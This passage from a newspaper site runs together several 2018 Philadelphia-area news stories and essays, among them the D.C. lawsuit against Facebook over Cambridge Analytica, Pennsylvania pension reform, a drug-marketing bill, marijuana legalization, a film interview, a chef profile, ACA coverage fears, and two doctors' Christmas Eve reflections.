10-minute walk away left some privacy advocates fearful that the U.S. governments primary consumer-protection cop increasingly is outmatched by Silicon Valley. That agency, the Federal Trade Commission, started investigating the Cambridge Analytica controversy weeks after it became public, out of concern that Facebook violated a pledge it made to regulators to honor its users' privacy settings. On Wednesday, representatives of the FTC again declined to comment on its progress. "The agency needs to show us that it can stand up to Big Tech," said Hal Singer, a senior fellow at George Washington University's Institute of Public Policy. Facebook said in a statement Wednesday it is reviewing the complaint and [looks] forward to continuing our discussions with attorneys general in D.C. and elsewhere. Facebooks stock price closed down more than 7 percent Wednesday. The D.C. case threatens to develop into an even worse headache for Facebook. Racine told reporters that his office has had discussions with a number of other states that are similarly interested in protecting the data and personal information of their consumers, though he cautioned there is no formal agreement for them to proceed jointly. And the attorney generals aides said they could add more charges to their lawsuit as other details about Facebooks privacy lapses become public. In the months since the Cambridge Analytica scandal began, Facebook has fielded considerable criticism for a series of privacy missteps. Last week, Facebook said as many as 6.8 million users' photos may have been improperly accessed by third-party apps. On Tuesday, new details emerged about Facebooks extensive data-sharing arrangements with corporate partners, including Amazon and Spotify. A report from the New York Times quickly triggered another round of calls from Capitol Hill for the tech giant to be penalized. It appears that Facebook has not been honest with Congress or the public about how it treats its users' data, said Rep. Frank Pallone (D., N.J.), the incoming chairman of the tech-focused House Energy and Commerce Committee. Based on these revelations, Im concerned that Facebook may have provided the committee with inaccurate, incomplete, or misleading responses to our questions, and well be following up. Facebooks troubles with Cambridge Analytica came to light in March, after Wylie revealed that the political firm sought to create psychographic profiles about social-media users by analyzing their Facebook data and target them with messages that preyed on their hopes and fears. Among those affected were half of D.C. residents, said Racine, the districts attorney general, when he announced his lawsuit in a call with reporters. Citing the regions consumer-protection law, Racine contended that Facebook misled users about the security of their data, made it difficult for users to control their privacy settings, and failed to inform them promptly after discovering Cambridge Analytica improperly accessed personal information. "Facebook's lax oversight of its privacy protocols and confusing privacy settings put the personal information of millions of Americans at risk," Racine said. The D.C. lawsuit also took issue with other business practices at Facebook, including its relationships with device-makers, such as BlackBerry, that could access social data in ways that could override a users privacy settings, according to the complaint. In response, the Attorney Generals Office said the district sought an injunction to ensure Facebook puts in place protocols and safeguards to monitor users' data, along with restitution for consumers, penalties, and costs. While D.C. takes aim at Facebook, federal regulators remained quiet about their next steps. The Cambridge Analytica controversy initially drew the attention of the FTC, the Securities and Exchange Commission, and the Justice Department. The FTC in particular has probed whether Facebooks relationship with Cambridge Analytica and its handling of users' data violated a 2011 agreement brokered by the U.S. government that required the tech giant to improve its privacy practices or risk major fines. The penalty, which is assessed based on the total number of violations and users affected, could reach into the billions of dollars, experts have said. In recent weeks, though, FTC Chairman Joe Simons repeatedly has declined to update members of Congress about the probe or the extent to which the government has started studying Facebooks other privacy violations. Appearing at a Senate hearing in November, Simons said it would be inappropriate for me to comment on a specific nonpublic investigation even though the FTC itself previously confirmed that it is investigating. The FTCs silence did little to satisfy Sen. Richard Blumenthal (D., Conn.), We need to know when you will have some results, because these continuing violations clearly show we have something more than a single bad-actor problem, and it is not only Facebook, he said at the time. I think you have an obligation to tell us when you think this investigation will be done. Veterans of the FTC which tends to operate in secrecy acknowledged that the agency can take upward of a year to probe a violation fully, and that the scope of investigations can expand as new information emerges. But analysts said the commission faces a major time-sensitive test with Facebook: Should the FTC fail to act swiftly in the social-media giants case, at a moment when its privacy problems are piling up, the agency could find itself weakened in its ability to hold the rest of Silicon Valley accountable. The stakes are extremely high for the agency, said Marshall Steinbaum, research director at the New York-based Roosevelt Institute, a left-leaning think tank. The companies want Congress to empower the FTC as the sole arbiter of privacy issues. If the companies can run the table on them then we cant seriously entertain the idea that this agency is capable of regulating the sector. State Rep. Mike Tobash, (R., Schuylkill Haven), chair of the bipartisan Pennsylvania Public Pension Management and Asset Investment Review Commission, with vice chair Joe Torsella, who is Pennsylvanias elected Treasurer, and Torsellas fellow Democrat, Gov. Tom Wolf. Read more Pennsylvania needs a new investment office with better strategies to replace the underperforming offices that manage state and public school pension plans, a commission tasked with recommending changes to the retirement systems with a combined deficit of $75 billion told lawmakers Thursday. A single office would help the State (SERS) and Public School (PSERS) Employees' Retirement Systems cut investment costs, boost pension profits, and reduce pension expenses that currently eat up more than 10 percent of the state budget, according to a new report from the commission. The bipartisan, five-man Pennsylvania Public Pension Management and Asset Investment Review Commission, headed by State Rep. Mike Tobash, (R., Schuylkill Haven) also urged the state (aided by local school districts) to continue paying more than 30 cents into the pensions, for every dollar paid in wages, as the states employer contribution to help erase past deficits. Tobash said thats 10 times what private business typically spends on retirements. Under Govs. Tom Ridge and Ed Rendell, the state had cut its pension funding even as legislators, teachers, state troopers, and other public workers retired in larger numbers, with bigger pensions, and lived longer than projected saddling future taxpayers with growing costs. The commission also urged legislators to force SERS to follow PSERS in starting to publicly disclose how many billions of dollars have been collected by hedge fund managers and other private contractors who manage the states pension assets. The state should make both funds do a better job managing risk and adopting stress tests, so they can avoid the massive losses SERS suffered in the 2008 market collapse because the funds were weighed down with hedge funds and other private investments, instead of hedging against stock and bond losses as their well-paid private managers had promised PSERS risk has "nearly doubled" in recent years, with nearly half its invested or committed assets now tucked away in "illiquid" private assets and unavailable for sale in an emergency; the school pensions are now a "greater cause for concern" than SERS, according to the report. The commission urged SERS and PSERS to dump any remaining "actively-managed" stock or bond funds they own, in favor of indexed funds. The report also said SERS and PSERS investments have long performed poorly compared to dozens of other, similarly-sized pension plans, and blamed the shortfall in part on over-investment in expensive, underperforming private investments. SERS and PSERS ranked 49th and 50th, out of 52 state funds measured by the commission, for their investment returns over the past 10 years. They also trailed most state funds over the past one-year, three-year, and five-year periods. Gov. Tom Wolf and State Treasurer Joe Torsella, the commissions vice chairman, made claims for billions of dollars in potential savings through what Wolf called lower fees to Wall Street, which they said would follow adoption of these reforms. Cost saving is the commissions stated goal. But the report stopped short of recommending that the state sell its private-equity, venture-capital, private real estate, hedge fund, commodities, junk bond, and other alternative investment portfolios, as Torsella and Wolf have sometimes recommended during their election campaigns. Tobash pointed out that any savings would not result in new money available to the states annual budget. Instead, effective reform will help keep the long-term pension deficits from growing larger, stabilizing state and school districts' annual payments after a decade of rapid increases. In a brief interview after the report was released, SERS executive director Terry Sanchez said her system has been asking its hundreds of hired private money management firms for permission to tell Pennsylvanians how much of the profits private contractors make on state investments is kept by those managers as part of their compensation. But Sanchez couldnt say whether SERS will begin disclosing that information in state budget hearings later this winter, or in its annual report next year, or anytime in particular. There is no timetable, she said. Tobash joined vice chair Torsella and fellow Democrat Wolf, along with other commission members and state officials, to unveil the recommendations. The pension review commission was set up by the General Assembly when it passed curbs on guaranteed pensions for future state hires and began steering them toward 401(k)-style pension plans, whose values rise and fall with those of the investment markets, leaving taxpayers off the hook for part of the shortfall when pensioners' investments lose value. These revised pensions take effect for new state hires starting in January. In Philadelphia, the epicenter of the opioid epidemic, more than 1,200 people overdosed in 2017, many of them from prescription drug abuse. Read more For a city ravaged by deaths from prescription painkiller abuse and drug overdoses, a proposal to scrutinize how pharma companies promote their drugs to doctors in Philadelphia seemed like the right thing to do. Still, sponsors Bill Greenlee and Cindy Bass pulled their bill from City Council consideration last week, after it ran into what Health Department spokesperson James Garrow called intense lobbying from unexpected opponents in the citys tourism industry, in addition to aggrieved drugmakers. It had been an anticipated up-or-down vote on bill 180888, but the sponsors backed off after last-minute public comments, says Christopher Molineaux, chief executive of Life Sciences Pennsylvania, an industry lobby. Council stepped back amid furious lobbying by opponents, including hotel and restaurant operators scared they will lose doctors' and drugmakers' convention business, correspondent Ed Silverman wrote in Stat, the Boston-based life sciences news site. The law would limit drug reps from giving gifts to doctors, which Philadelphias teaching hospitals already ban. It would also require sales reps to buy licenses, ban drug discount coupons, and force the reps to drop off copies of their sales materials with the health department for review and criticism though the city would lack the power to force changes in those materials, sponsor Greenlee pointed out afterwards. The bill, which passed the public-health subcommittee Nov. 30, was up for a full Council vote on the last legislative day of the year before its sponsors backed off in the face of hostile fire. Later, Mayor Kenney defended the proposal as one component of our citywide response to hundreds of deaths from prescription-drug overdoses in recent years, and called for a right-size legislative solution," a sign the liberal Democratic administration may agree to more changes but will still push a bill next year. Molineaux said his members look forward to further discussions with the city administration on ways to meet what he said was their shared goal of limiting drug abuse. "This bill doesnt go after just the opioid manufacturer, it includes every pharmaceutical company, and that threatens to drive drug and medical conventions away from Philadelphia, complained Melissa Bova of the Pennsylvania Restaurant and Lodging Association at the hearing, according to Stats account. Philadelphia has been a medical center since Colonial times, though drugmakers like GlaxoSmithKline have mostly moved their operations to the suburbs, especially the U.S. Route 202 corridor in Montgomery and Chester Counties, Pa., and New Castle County, Del., as well as along U.S. Route 1 and in the leafy suburbs north of Princeton. The city has joined other states and local governments suing opioid drugmakers (including units of Stamford, Conn.-based Perdue Pharmaceuticals, New Jersey-based Johnson & Johnson, and Chester County-based Endo Pharmaceuticals, among others) and drug distributors (such as Chesterbrook-based AmerisourceBergen) in hopes of proving damages and winning fat legal settlements to help defray the costs of treating and burying many thousands of prescription-drug abusers. As if forgetting the wave of addiction and deaths that followed the earlier adoption of Percodan and other opium-based painkillers in the 1960s and 1970s, drugmakers like Endo, J&J, and Perdue Pharmaceuticals, aided by Wall Street investment bankers eager to finance aggressive new painkiller sales forces, began urging doctors to prescribe a new wave of powerful and heavily addictive painkillers such as Oxycontin and Opana, starting in the 1990s. Soon doctors were prescribing addictive medicines for routine back, dental, and sports-injury-related pain, among other conditions. Some users became addicted; others who never received legal prescriptions became adept at accessing the legally-obtained pills from corrupt doctors, pharmacists, friends, and family members, and specialized dealers who sold prescription pills, along with dangerous synthetic substitutes such as China-made fentanyl. After thousands of fatal overdoses, as public-health professionals and the Drug Enforcement Agency and police reported the resurgent problem, the FDA belatedly began tightening painkiller guidelines. Doctor groups, drug distributors, and manufacturers blamed each other and those addicted to drugs for the problem. The government says fewer opioid prescriptions have been written in recent years. But Philadelphia officials say they dont trust the FDA or drugmakers to protect city residents from the next round of destructive medicine over-promotion. The thing we just wanted to keep emphasizing is this is not just about the opioid crisis, Greenlee told me. The bill is to get ahead of the next over-addiction crisis, or the one after that. I understand why you dont trust drug companies, medical providers or the federal government to do the right thing, I told him. But can Philadelphia really expect registration and review policies to reduce drug abuse? And dont lawmakers believe hotel and restaurant owners when they say they are worried that they will lose a lot of business when the medical industry sees the city as unfriendly? The threats, I dont know if they are real or not, Greenlee said. And, the bill has already been amended to ensure conventioneers wont be forced to register, even if they sell drugs back home. The continued threats bother me. It says they are trying to hold us hostage. Which would more or less describe how both sides claim to feel. He added that representatives of the Temple, Penn, and Jefferson medical schools had all expressed support for provisions of the bill, though the Philadelphia County Medical Society the doctors leadership group has weighed in against it. Before Pennsylvania becomes the Keystoner State, the Republican lawmakers in Harrisburg have a few things to say. On Wednesday afternoon, Gov. Wolf, a Democrat, appeared to give the green light to discussing the possibility of legalizing cannabis for adult use. In a Twitter Q&A with constituents, Wolf said it was time for Pennsylvania to take a serious and honest look at recreational marijuana. The statement came as a surprise to advocates and legislators alike. The response from GOP legislators was swift and especially combative. State Senate Majority Leader Jake Corman (R., Centre) vowed he would do everything in my power to prevent legalization of recreational marijuana. The governors new position on the issue of legalizing the drug for recreational use is reckless and irresponsible," Corman said in a statement Wednesday night. Recreational marijuana is a mind-altering narcotic which will harm our youth, as it is a depressant and a gateway drug to other illegal substances. Combine that with a lack of credible research on the societal costs and opposition from prosecutors, the medical community, and law enforcement and you have the makings of a catastrophe, Corman said. Legalization in 10 other states has applied only to residents over the age of 21. The notion of marijuana as a gateway drug to other illegal substances long has been debunked by studies. There has been opposition by some law enforcement officials and physicians, but many of legalizations strongest supporters are current and former prosecutors and doctors. State Sen. Mike Folmer (R., Lebanon) said Pennsylvania needs to remain focused on the medical marijuana program. We dont need rec right now, said Folmer, who co-sponsored the legislation that created the medical program. Were moving along, were doing it the right way. Were far from where we need to be with research. But I want marijuana to become respected first. If we dont, it will become a joke again and well slip back into the old Cheech and Chong ways of thinking about it. Wolfs tweet late Wednesday appeared to signal a change of heart. In an August interview, Wolf told KDKA-AM in Pittsburgh that the citizens of Pennsylvania were not ready for legalization. The governor was not immediately available for comment, so its unclear why Wolf now thinks the time is ripe for a discussion. However, Wolf won re-election in November with Lt. Gov. John Fetterman on the ballot and Fetterman has long been a vocal proponent of full legalization. Pennsylvanias neighbors appear to be ready to pass legislation in 2019 that will allow commercial sales to any adult over the age of 21. Gov. Murphy of New Jersey and Gov. Andrew Cuomo of New York, both Democrats, have pushed to add their states to the 10 that have ended cannabis prohibition. Pennsylvania began sales of medical marijuana earlier this year, with nearly 100,000 patients applying to participate in the program. This week, the state Department of Health awarded permits increasing the number of possible commercial dispensaries to a minimum of 150. If the states marijuana research program ever launches (its been stalled by numerous lawsuits), an additional 48 retail stores could be added, raising the total to nearly 200 dispensaries. Many current medical dispensary owners have said they would be happy to sell to a broader consumer base. Full legalization was once considered a pipe dream. But for industry analysts, the question has been not if, but when legalization will occur. They envision a potential $23 billion market for weed and weed-based products. Numerous cities in Pennsylvania, Philadelphia and Pittsburgh among them, already have decriminalized possession of less than an ounce of cannabis. Auditor General Eugene DePasquale, a Democrat, has said full legalization across the state would generate hundreds of millions in tax revenue. "Its time for the General Assembly to have a serious discussion about taking the next step, DePasquale said Thursday. A recent Gallup survey found record support from nearly two-thirds of adults who favor legalization at the national level. Its simply time for public policy to catch up with public opinion. This image released by Universal Pictures shows Cap'n Hogie, voiced by Steve Carell, in "Welcome to Marwen." (Universal Pictures via AP) Read more Before Steve Carell and director Robert Zemeckis went forward with Welcome to Marwen, their new movie about artist Mark Hogancamp, they first wanted to meet with him to get his OK. Hogancamp is publicity-shy and understandably wary of outsiders. His work involves using action figures and dolls to construct miniature worlds, a process thats helped him heal psychologically from a near-fatal beating, incurred when Hogancamp told some strangers at a bar that he liked to wear womens shoes. Would he accept these Hollywood big shots into his life? Zemeckis got a clue when he entered Hogancamps house and saw collectibles from Zemeckis' beloved Back to the Future trilogy prominently on display. Hes a fan, said Carell, who stopped in Philadelphia with Zemeckis last week. Hes got it all. He had his Marty McFly figures, his Doc Brown figures, and they were right there front and center," Zemeckis said. It was a multilateral admiration society. Carell and Zemeckis each became intrigued with Hogancamps story and his work independently, viewing the documentary Marwencol, which chronicles the Upstate New York artists unique, outsider work. Hogancamp built a replica WWII Belgian town in his backyard and posed the action figures and dolls in ways that told a story featuring Hogancamps heroic 1/6 scale alter ego, Hogie. The dramas fictionalized and reimagined his assault in a way that helped him deal with the trauma hed suffered. His photographs of these scenes became celebrated works of art. Obviously, we both loved the story of Marks journey, and the powerful theme of the healing power of artistic expression. On top of that, I just was fascinated with these elaborate stories that were going on in his imagination, and I thought, thats something you can do in a movie, Zemeckis said. The director also saw it as a chance to further the motion-capture technology he helped pioneer in movies like The Polar Express. He uses sensors to capture the movements and expressions of an actor like Carell, then adds layers of animation to produce a finished image. Its ideal for what Zemeckis wanted to do in Marwen, bringing Hogancamps action-figure fantasy realm to cinematic life via performance capture in collaboration with Carell, Janelle Monae, Leslie Mann, Diane Kruger, and others. Carell does plenty of plain old live-action acting, too, and to that end, he found his meetings with Hogancamp invaluable. When I met Mark, I got a better sense of the type of man he is, a lovely human being, and that was the most important aspect of my work here, Carell said. There is also the time we spent corresponding since I met him. Hes private, but hes also funny and warm and has a great sense of humor about his world that was inspiring to me. He gets that this is offbeat and that from an outsiders view, it must seem like a strange thing. Maybe not so strange to Zemeckis, who knows a thing or two about creating imaginary worlds with scale models. You see one of them in Welcome to Marwen Mark builds a time machine out of a familiar-looking DeLorean that leaves a trail of fire behind when it shoots into another dimension. Back to the Future director Zemeckis remains committed to bringing the future closer by pushing movie technology to stretch the art form so that you can do the things you cant do in any other medium. Hes constantly refining and improving motion capture, and also to an extent defending it. There are those who worry it will supplant human performance, but Zemeckis isnt one of them. The way to look at it and to feel comfortable about is to think about music. We can digitally record and reproduce exactly every single sound a philharmonic orchestra can produce. But were always going to start with the warmth of the human performance. Someone has to put their fingers on the keys. So thats whats happening with images now. You still need that human performance to drive it. Chef Marc Vetri in the dining room of Vetri Las Vegas on the 56th floor of the Palms Casino Resort. Read more LAS VEGAS There was a time not too long ago when Marc Vetri was a gambling man, which seems to make sense, given his new restaurant in Las Vegas. Twenty years ago, having just cleared 30, he was a chef from Abington, a single guy, a middle child from a family of overachievers, living and working in Italy, who pooled everything hed saved into opening a tiny restaurant back home. To, in his words, cook some food and make a living. Vetri clicked, a bastion of refined cooking in red-gravy Philadelphia. Vetri then made a business partner of his manager, Jeff Benjamin. Together, as the accolades rolled in and reservation books filled up, they opened more restaurants, including two Osterias, two Amises, and Pizzeria Vetri, mortgaging their houses all the while. Seven restaurants, said Vetri, 52, his beard now a professorial gray and his head shaved. All-in risk, all on our shoulders. ... I remember once, I went to my wife and I was like, Here, honey, can you sign these? Shes like, What am I signing? I was like, Youre signing our house away if the restaurant fails. " For two family men, this was not the easy life. Vetri and JB, as Benjamin is known, did have a scare. The Osteria location in the Moorestown Mall, which Vetri called a tanker, almost took them down three years ago. They closed it and pulled through. They sold all the restaurants, except for the original, to Urban Outfitters shortly after. Pocketing the proceeds, they were back to one restaurant but ready for something new. Vetri, still working on the line five nights a week, has been investing in projects he enjoys, such as Primal Supply Meats, a high-end butcher, as well as real estate, including a former butcher shop in South Philadelphia. Benjamin is helping to open and run the Fitler Club, a private club that will begin opening in late January at 2400 Market St. Vetri is an investor there, Benjamin said. This month finds them 2,100 miles away, opening a second Vetri Cucina, on the 56th floor of the Palms Casino Resort floor-to-ceiling windows on three sides, and the Las Vegas Strip off in the distance, burning neon by the gigawatt. Vetri Cucina Las Vegas at 70 or so seats, minuscule by casino standards was created largely in the spirit of the original polished Italian destination at 1312 Spruce St. in Center City Philadelphia, down to the colorful Wave glasses, Broggi silverware, and bordello-red Murano chandelier. This may be Vegas, home of gambling, but Vetri and Benjamin really have nothing to lose. Its a deal they did not even set out to make. They had long resisted opening a second Vetri Cucina, primarily because they said they need to control their flagship brand. Even a location in Atlantic City or New York was always a no. Im not anti-Vegas, said Benjamin, 50. Were not prudes, but it just didnt appeal to us. Everything is big in Vegas. The grand scale is not our ethos. Enter fellow James Beard Award-winning chef Michael Symon, who won on Iron Chef and who until recently was a host of ABCs The Chew. Symon signed on last year to open a branch of his Mabels BBQ on the ground floor of the Palms, across the lobby from Shark Palms, a seafood restaurant from another celebrity chef, Bobby Flay. Symon was Palms owner Station Casinos first choice to operate a second restaurant at the Palms: a high-end Italian restaurant on the 56th floor, in the style of his Angeline restaurant, which opened in May 2017 at the Borgata in Atlantic City. Last week, Symon said he turned Station down. He suggested Vetri would be the best fit. While Station executives were in Atlantic City for the opening of Angeline, they sent a team to Spruce Street for dinner. We were blown away, said James LaFlamme, at the time brokering restaurant deals for Station. LaFlamme called Frank and Lorenzo Fertitta, the billionaire brothers behind the casino, and urged them to visit Vetri as well. It turns out the Fertittas had a reservation booked for the very next week. Lorenzo Fertittas son Lorenzo Jr., who was graduating from Villanova University, had bought out the second floor of Vetri for a party. Vetri said the brothers came, ate, and gave them positive feedback. Then I didnt hear from them for four months, he said. As Vetri was negotiating his departure from Urban, the call came. Vetri and Benjamin flew out to Las Vegas, rode the elevator to the top, and took in the view. And it was their turn to be blown away. Their deal with Station is simple. Station paid to build the restaurant for an undisclosed sum as part of the $620 million renovation of the Palms. Vetri and Benjamin employ their own workforce and run the restaurant in return for a percentage of sales. Yeah, every chef I talk to is like, I think this is great. You get out there twice a year, you show your face and you leave, Vetri said. And Im like, Yeah, that doesnt sound like anything I would do. I love coming here. I think of it like Vetri Philly. When Im here, I literally am here for 40 or 72 hours. I dont even leave the hotel. In a way, the Vegas restaurant is Vetris thumb in the eye to the detractors who think he now might be spreading himself too thin. Vetri scoffs at that notion. Vetri the middle child of Sal (an investor, home cook, and retired jeweler) and Barbara (a lawyer), between siblings Montgomery County Court Judge and former District Attorney Risa Vetri Ferman and TV executive Adam Vetri has always had a contrarian nature. "My father has said to me my whole life: I dont know, Marc. The whole world goes left. You go right, said Vetri. He spent tens of thousands of dollars on new furnishings in leaner times. Seven years ago, he bucked the establishment to change Vetri Cucina to a fixed-price tasting menu (now $165 per person). In a potentially risky PR strategy, he pens op-eds and is not afraid to chide people who blame gluten for the ills of the world. With the Vegas restaurant, I feel like Im on this new road, he said. On a recent night, a private party was going full force a tequila company celebrating with a sit-down dinner buy-out. Bartenders hustled up drinks while waiters carried out oversize platters of lobster, octopus, swordfish, and chicken, hot off the wood-fired grills. The party wasnt a see-and-be-seen scene to the man whose name was on the door. Vetri was back in the kitchen, pulling sliced porchetta from the oven and placing it on trays. Hes among his people back there. All of the Vetri Las Vegas managers have worked in Philadelphia. He believes his little restaurant on top of a casino on Flamingo Road is a slice of Philadelphia. See? Look, he said, waving east toward the Strip. There is the Vegas that everybody thinks about. Its a nightmare to go over there. You cant move. You cant do anything. All of the New York restaurants are out there." He waved toward his bar. "Were here. So I kind of feel like thats New York and this is Philly. And I like that. Were still the underdogs. Kate Beschen, 45, of Philadelphia, is insured through the ACA marketplace. Read more Sometimes Kate Beschen lies awake at night, thinking about what shed do if the health insurance she buys through the Affordable Care Act marketplace disappeared. The 45-year-old Philadelphian has a chronic form of leukemia that shed never be able to afford to treat on an adjunct professors income without insurance. The occasional sleepless nights began after President Trump, who vowed during his campaign to repeal the health law, won the 2016 election. But what was once a hypothetical monster under her bed is starting to feel more real. In early December, a Texas judge issued a judgment that the Affordable Care Act is unconstitutional and should be eliminated, a move that would have a seismic effect extending to all kinds of insured consumers. Millions of people who gained insurance through the ACA marketplaces and expanded Medicaid eligibility would lose coverage. Rules that require insurance plans, including those offered by employers, to guarantee coverage of pre-existing conditions would go away. Adult children would no longer be able to stay on their parents health plans until age 26. This would affect nearly every American in some shape or form, said Katie Keith, an adjunct law professor at Georgetown University. The Texas-based lawsuit, brought by 20 Republican attorneys general or governors, faces certain appeal, possibly all the way to the U.S. Supreme Court. In the meantime, the ACA remains intact. The federal government has said it will continue to enforce the law including health coverage for the millions of people who bought insurance through the ACA marketplace for 2019 until a final ruling. Thats good news for people like Daisy Fried, 51, of Philadelphia, who was able to sign up for health insurance for the first time in years when the ACA marketplaces opened in 2013. A poet and part-time professor, Fried occasionally had access to health insurance through an employer, but mostly she just counted on staying healthy. I hit my 40s and was like, you know, this is getting a little scary, said Fried, who expects to pay $270 a month for an ACA marketplace plan in 2019. She never worried too much about being uninsured, but getting covered made me feel more secure, she said, especially as unanticipated health needs become more likely with age. Whether Fried continues to have access to her health plan will depend on what happens ultimately with the Texas lawsuit. The lawsuit arose after Congress decided to stop penalizing people who dont buy health insurance, beginning in 2019. Under the ACA, most people were required to buy insurance or pay a tax penalty, a rule that, though unpopular, ensured enough healthy people were buying insurance to allow insurers to cover unhealthy members. In an earlier lawsuit against the ACA, the Supreme Court ruled that the law was constitutional because it wasnt forcing people to buy insurance. Rather, it was taxing those who didnt, which Congress is allowed to do. The Texas lawsuit alleges that with the tax reduced to zero, the individual mandate is unconstitutional and the law should be eliminated. The Justice Department agreed that without the individual mandate, new rules for private insurers such as requiring coverage for pre-existing conditions should be revoked, but said the rest of the law should remain. The case could take years to work through the legal system, and though ACA insurance remains available, uncertainty about the laws future could do its own damage. It could have a very serious effect, even if it has no real legal effect at this point, said Timothy Jost, a law professor at Washington and Lee University School of Law, during a call with reporters organized by the Commonwealth Fund. Insurers will need to decide in the spring, before the lawsuit is resolved, whether to continue selling ACA plans in 2020 and how much to charge. People confused over the status of their plans could fail to pay their first months premium, which is required for coverage to take effect. Analysts speculated whether the judges order, which came out the night before the final day of the ACA marketplaces open enrollment period, would deter people from signing up at the last minute. Federal health officials announced Wednesday that enrollment is stronger than expected but still down from the same point last year. The data are preliminary. Theres this shroud of uncertainty thats going to hang over everything, Keith said. We sort of just got to this place where the marketplace was stable. Legal scholars are skeptical that a higher court would uphold the Texas judges broad decision, but for people like Beschen, who are counting on insurance coverage made possible by the law, the threat is terrifying. Theres always the worst-case scenario and getting carried away. Im not the person who thinks that way about life full of fear about whats going to happen. But this is an actual, real, practical fear, she said. Every three months Beschen pays $60 for blood testing to monitor her slow-growing blood cancer. Her monthly premium next year will be $70 because she qualifies for an income-based tax subsidy. Without the ACA, Beschen could be denied coverage because of her pre-existing condition or charged an exorbitant and out-of-reach amount. Eventually shell need chemotherapy, which would be unaffordable without insurance, she said. She has looked into whether she could move to Canada or another country with universal health care. Beschen thought she always would live in the country where she raised her own family, but she said she may not have a choice. She cant afford to live without health insurance. In December 2013 I had been a doctor for five months. I was an intern in Emergency Medicine at Temple University Hospital and my parents agreed to come to Philadelphia for dinner between my shifts on Christmas Eve and Christmas Day. My father is a doctor and was raised as an Orthodox Jew; most of his life, and mine, he worked the Christmas holiday so that doctors who celebrate could have time off with their families. I decided I would do the same. On Dec. 24, I planned to pick them up at 30th Street Station after I finished my 7 a.m.-to-3 p.m. shift. Shortly before 2 p.m., an elderly woman carrying holiday shopping bags tripped as she was walking up the steps to her daughters house, cutting her forehead on the nearby metal railing. Fortunately, a CT scan showed no internal injury and I could stitch closed the wound and get her home in time for dinner. By the time I finished it would be well past 3 p.m. I called my parents to say Id be at the station as soon as I could and gathered my tools to close the grandmothers wound. Her entire family had gathered around their beloved matriarch, and I felt nervous to work before an audience so early in my training. It turned out to be a cheerful and supportive crowd. Looks great, doc, one family member observed as I finished the first section. Oh, that looks really good, said another. I was halfway done when my colleague Ashley poked his head in. Can I talk to you for a second? I stepped out. Your parents Yes? I said anxiously. Theyre here. What? Where? Here. Where? Here. There was my mom, radiant in her red coat, smiling. In our emergency department. Who let them in? I thought frantically. He said hes a surgeon, Ashley said. Well, of course hes a surgeon. But hes not a surgeon here. Im not sure if I can explain what it feels like to be fresh out of medical school and unexpectedly find your parents a surgeon and a nurse on your ward. I said a quick hello. I need to finish putting in these stitches and sign out and then we can go. I walked back to Bed 13. My father was following me. He loves medicine. And he was ready to join so we could put in the stitches. Dad, I said. "You cant come. As a first-year medical student in 1960, my father would go to the emergency department at Johns Hopkins Hospital on Friday nights as a break from his studies. If he was lucky, the tired doctor on call would show him how to suture a cut or set a bone. He would later train under the legendary surgeons of Peter Bent Brigham Hospital in Boston, and became the National Cancer Institutes youngest-ever chief of surgery. He is a pioneer in using the bodys own immune system to treat, and often cure, the once-deadly cancers of hundreds of desperate patients. He is not a man who frequently hears, or accepts, the word no. But he did, reluctantly, heed my words and was led to a suitable place to wait. And so that first Christmas Eve began an annual tradition. I would never again attempt to get my parents at the train station. They come to the hospital on Christmas Eve for a few brief minutes that impact us all. Three years later, it is 2016. I have finished my residency training and am now an attending physician at Temple. Supervising others instead of being supervised. What never changes is the strange feeling of the hospital on Christmas Eve, the almost palpable loneliness of some who have nowhere else to be, alongside those who are critically ill and wish they could be anywhere else. I greet my parents but still have more to do. As I take them to a waiting room, a nurse comes out of Room 24. Dr. Rosenberg? Yes? my father says. I too am looking at him. The nurse is confused. Um the other Dr. Rosenberg. The nurse is talking to me. Somehow, I am Dr. Rosenberg. Yes? I respond. Should we give the patient the second liter of fluid now? Yes, please, I say. Before I can leave, I go back to the desk to find the doctor working the next shift so we can discuss and transition the patients. As we finish, he has a question. Is your father in town? Yes, I say cautiously. Why? He smiles. Because there is a man 20 feet away who, based on the way he is looking at you, could only be the most proud father of a young doctor. There he was. He had sneaked out of the family room. Hes standing in the hallway watching me give report. He cant hear the words I am saying, but of course he recognizes the ritual. He is there. He is beaming. I pretend to be embarrassed. Next, and last for now, it is Christmas Eve 2017 at 2 p.m. A man collapses while singing at church. In minutes, he is in our emergency department. We work frantically to get him to a lifesaving cardiac procedure. I call his son who, like me, is at work. I am moved by the way his coworkers carefully gather him up and bring him to the hospital. I learn that the son has recently lost his mother. I am so sorry to give him more bad news, but we cannot yet say if his father will recover. I am bone-tired. Exhausted. I remember my parents are here and we will soon be at dinner. I wonder if I would be better off going home to bed. I greet them in the lounge, faking an enthusiasm I don't yet feel. So good to see you, I say, hugging them both. My dad looks at me carefully. What happened? he asks. Nothing, I smile. Im good. Lets go. He is my father. His blood is my blood, and he will not let me off the hook. He takes on the serious face familiar to his daughters, his colleagues, and his patients. It is a face of unflinching contact with reality. Its a hard job, Naomi. (Pause) It can be a very (pause) hard (pause) job. Were proud of you. Im not sure there are words for how I feel, and the ones I find may fail me. Words to tell what it feels like to be the daughter of this father, to follow in the footsteps of a doctor who is larger than life and also life itself. So I will say this: To anyone who becomes sick or injured at Christmas or at any other time, we are here. We will be gowned and gloved, we will be awake and ready, and we will be here, for you. Not just us but the generations of men and women who got us here. Those who came before us, in every emergency department, on every Christmas. And one more thing. See you Christmas Eve, Dad. I love you. Naomi Rosenberg, M.D., is an emergency medicine physician at Temple University Hospital. We go to dinner and all seems right By Steven A. Rosenberg For 44 of my 78 years I have been a surgeon at the National Cancer Institute. For the past five years my wife, Alice, and I have traveled to Philadelphia on Christmas Eve to visit our daughter, Naomi, now an attending physician in the emergency department at Temple University Hospital. We meet Naomi at the end of her shift and go to dinner together. Watching the frenetic activity in the emergency department brings memories of a Christmas Eve at the Brigham Hospital in Boston when I was a surgical intern attempting to revive a young man killed by a car on the side of the road while he was helping to change a flat tire for people he did not know. Then Naomi approaches and a sense of unreality momentarily swirls in my brain. I see the little girl whom I sang to sleep every night over 30 years ago, learning to take her first steps. But now she is walking briskly toward us in blue surgical scrubs, sometimes stained with blood. Naomi, Alice, and I hug. Naomi finishes transitioning her care to the next shift and charting the days patients. We then go to dinner and all seems right. We are Jewish and every year we offer to work on Christmas Eve and Christmas Day to enable colleagues to be at home for a holiday that is a happy time but doesnt have a special meaning for us. Hospitals have an eerie feeling at Christmas emptier than usual with the staff somehow more connected to one another. The festive decorations contrast with the human suffering we see around us. There is a strange but warm feeling of solitude combined with pride to be a doctor standing watch while others celebrate with their families. Then we go to dinner and talk mainly about medical things. The emergency department has a special meaning to 